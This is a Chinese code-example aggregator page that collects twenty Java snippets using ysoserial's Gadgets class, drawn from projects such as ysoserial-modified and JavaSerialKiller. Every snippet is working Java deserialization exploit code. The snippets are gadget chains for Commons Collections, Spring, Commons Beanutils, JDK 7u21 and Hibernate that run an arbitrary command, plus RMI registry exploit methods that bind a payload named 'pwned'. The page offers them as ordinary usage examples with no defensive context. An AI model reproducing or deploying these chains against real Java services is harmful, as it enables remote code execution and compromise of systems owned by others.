• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

Java Gadgets类代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了Java中ysoserial.payloads.util.Gadgets的典型用法代码示例。如果您正苦于以下问题:Java Gadgets类的具体用法?Java Gadgets怎么用?Java Gadgets使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。



Gadgets类属于ysoserial.payloads.util包,在下文中一共展示了Gadgets类的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Java代码示例。

示例1: exploit

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public static void exploit(final Registry registry,
		final Class<? extends ObjectPayload> payloadClass,
		final String command) throws Exception {
	new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
		ObjectPayload payloadObj = payloadClass.newInstance();
           Object payload = payloadObj.getObject(command);
		String name = "pwned" + System.nanoTime();
		Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
		try {
			registry.bind(name, remote);
		} catch (Throwable e) {
			e.printStackTrace();
		}
		Utils.releasePayload(payloadObj, payload);
		return null;
	}});
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:18,代码来源:RMIRegistryExploit.java


示例2: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Queue<Object> getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:22,代码来源:CommonsCollections2.java


示例3: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);

	final ObjectFactory objectFactoryProxy =
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);

	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy),
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:21,代码来源:Spring1.java


示例4: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:26,代码来源:CommonsCollections3.java


示例5: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject ( final String command ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:21,代码来源:Spring2.java


示例6: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:22,代码来源:CommonsBeanutils1.java


示例7: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:24,代码来源:Jdk7u21.java


示例8: makeCaller

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
 
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:23,代码来源:Hibernate1.java


示例9: exploit

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public static void exploit(final Registry registry,
		final Class<? extends ObjectPayload> payloadClass,
		final String command) throws Exception {
	new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
		ObjectPayload payloadObj = payloadClass.newInstance();
		CmdExecuteHelper cmdHelper = new CmdExecuteHelper("none", command);
           Object payload = payloadObj.getObject(cmdHelper);
		String name = "pwned" + System.nanoTime();
		Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
		try {
			registry.bind(name, remote);
		} catch (Throwable e) {
			e.printStackTrace();
		}
		Utils.releasePayload(payloadObj, payload);
		return null;
	}});
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:19,代码来源:RMIRegistryExploit.java


示例10: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
    
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:24,代码来源:CommonsCollections2.java


示例11: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:21,代码来源:Spring1.java


示例12: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:27,代码来源:CommonsCollections3.java


示例13: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:21,代码来源:Spring2.java


示例14: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
  
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:23,代码来源:CommonsBeanutils1.java


示例15: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:24,代码来源:Jdk7u21.java


示例16: exploit

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public static void exploit(final Registry registry,
		final Class<? extends ObjectPayload> payloadClass,
		final String command) throws Exception {
	new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
		ObjectPayload payloadObj = payloadClass.newInstance();
           Object payload = payloadObj.getObject(command);
		String name = "pwned" + System.nanoTime();
		Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
		try {
			registry.bind(name, remote);
		} catch (Throwable e) {
			e.printStackTrace();
		}
		Utils.releasePayload(payloadObj, payload);
		return null;
	}});
}
 
开发者ID:RickGray,项目名称:ysoserial-plus,代码行数:18,代码来源:RMIRegistryExploit.java


示例17: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
开发者ID:RickGray,项目名称:ysoserial-plus,代码行数:21,代码来源:Spring1.java


示例18: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
开发者ID:NetSPI,项目名称:JavaSerialKiller,代码行数:22,代码来源:CommonsCollections2.java


示例19: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
开发者ID:NetSPI,项目名称:JavaSerialKiller,代码行数:21,代码来源:Spring1.java


示例20: getObject

import ysoserial.payloads.util.Gadgets; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
开发者ID:NetSPI,项目名称:JavaSerialKiller,代码行数:26,代码来源:CommonsCollections3.java



注:本文中的ysoserial.payloads.util.Gadgets类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Java CQLStatement类代码示例发布时间:2022-05-23
下一篇:
Java ProposalPosition类代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap